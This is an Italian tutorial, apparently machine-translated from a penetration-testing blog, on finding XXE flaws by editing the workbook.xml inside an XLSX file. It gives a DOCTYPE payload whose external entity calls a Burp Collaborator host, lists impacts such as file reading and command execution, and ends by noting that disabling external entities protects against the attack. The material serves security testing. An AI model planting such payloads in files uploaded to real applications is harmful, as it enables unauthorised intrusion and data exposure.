La vulnerabilità dell'entità esterna XML (XXE) è che durante l'analisi di una struttura di documenti XML denominata DTD (Document Type Definition), è possibile definire entità XML personalizzate. A seconda del motore di elaborazione XML sul lato server e della configurazione dell'ambiente, questo tipo di vulnerabilità può essere sfruttato in modo diverso. A partire dall'elenco delle directory sul sistema, dalla lettura di file di applicazioni e di sistema, dall'ottenimento di una password crittografata dell'utente dell'applicazione, dal trasferimento di file al server o dall'esecuzione di comandi di sistema.
Lo scenario classico di questo tipo di vulnerabilità presuppone che si abbia a che fare con una richiesta contenente nel nostro corpo xml a cui aggiungiamo la parte responsabile, per le definizioni della nostra entità. Questa vulnerabilità, tuttavia, può verificarsi anche quando si ha a che fare con un'applicazione che in qualche modo elabora i file excel. XLSX , Word . DOCX o PowerPoint . PPTX. Lo dobbiamo al fatto che questi tipi di file conformi a OOXML, quindi sono semplicemente imballati diversi file. XML.
Lo scenario di attacco rapido è il seguente:
- Creare un nuovo documento vuoto . Xlsx. Può utilizzare il "Foglio Google" per questo scopo.
![google foglio](https://sp-ao.shortpixel.ai/client/to_auto,q_lossy,ret_img,w_1024,h_595/https://my127001.pl/wp-content/uploads/2021/07/image-1024x595.png)
2. Aprire Burp Suite Professional -> Burp -> Burp Collaborator Client . Quindi fare clic sul pulsante "Copia negli Appunti". Nel mio caso, l'indirizzo del server era il seguente: lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net.
In alternativa, se si dispone di un IP esterno, è possibile utilizzare un semplice server HTTP in python – "python3 -m http.server 8080".
3. Aprire il file scaricato con 7zip.
![xlxs](https://sp-ao.shortpixel.ai/client/to_auto,q_lossy,ret_img,w_565,h_217/https://my127001.pl/wp-content/uploads/2021/07/image-1.png)
3. Modificare il file "cartella .xml" nella directory "xl" aggiungendo il codice seguente (ovviamente, sostituendo l'indirizzo del server con il proprio):
<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net/"> %xxe; ]>
NOTA- In una delle applicazioni che ho testato, la vulnerabilità xxe rivelata dopo la modifica "[Content_Types].xml", quindi vale la pena controllare questo file.
![edizione cartella di lavoro.xml](https://sp-ao.shortpixel.ai/client/to_auto,q_lossy,ret_img,w_619,h_640/https://my127001.pl/wp-content/uploads/2021/07/image-2.png)
![edizione cartella di lavoro.xml](https://sp-ao.shortpixel.ai/client/to_auto,q_lossy,ret_img,w_1024,h_269/https://my127001.pl/wp-content/uploads/2021/07/image-3-1024x269.png)
4. Salva le modifiche e carica il file nell'app che stai testando.
5. Ora controlla al cliente collaboratore eventuali richieste:
![burp collaboratore cliente](https://sp-ao.shortpixel.ai/client/to_auto,q_lossy,ret_img,w_743,h_507/https://my127001.pl/wp-content/uploads/2021/07/image-4.png)
6. Goditi il :): hai appena confermato la vulnerabilità xxe nell'applicazione testata e puoi procedere per proseguirne l'uso.
Una caratteristica di protezione comune rispetto a XXE è disabilitare completamente il caricamento di entità esterne in un parser XML.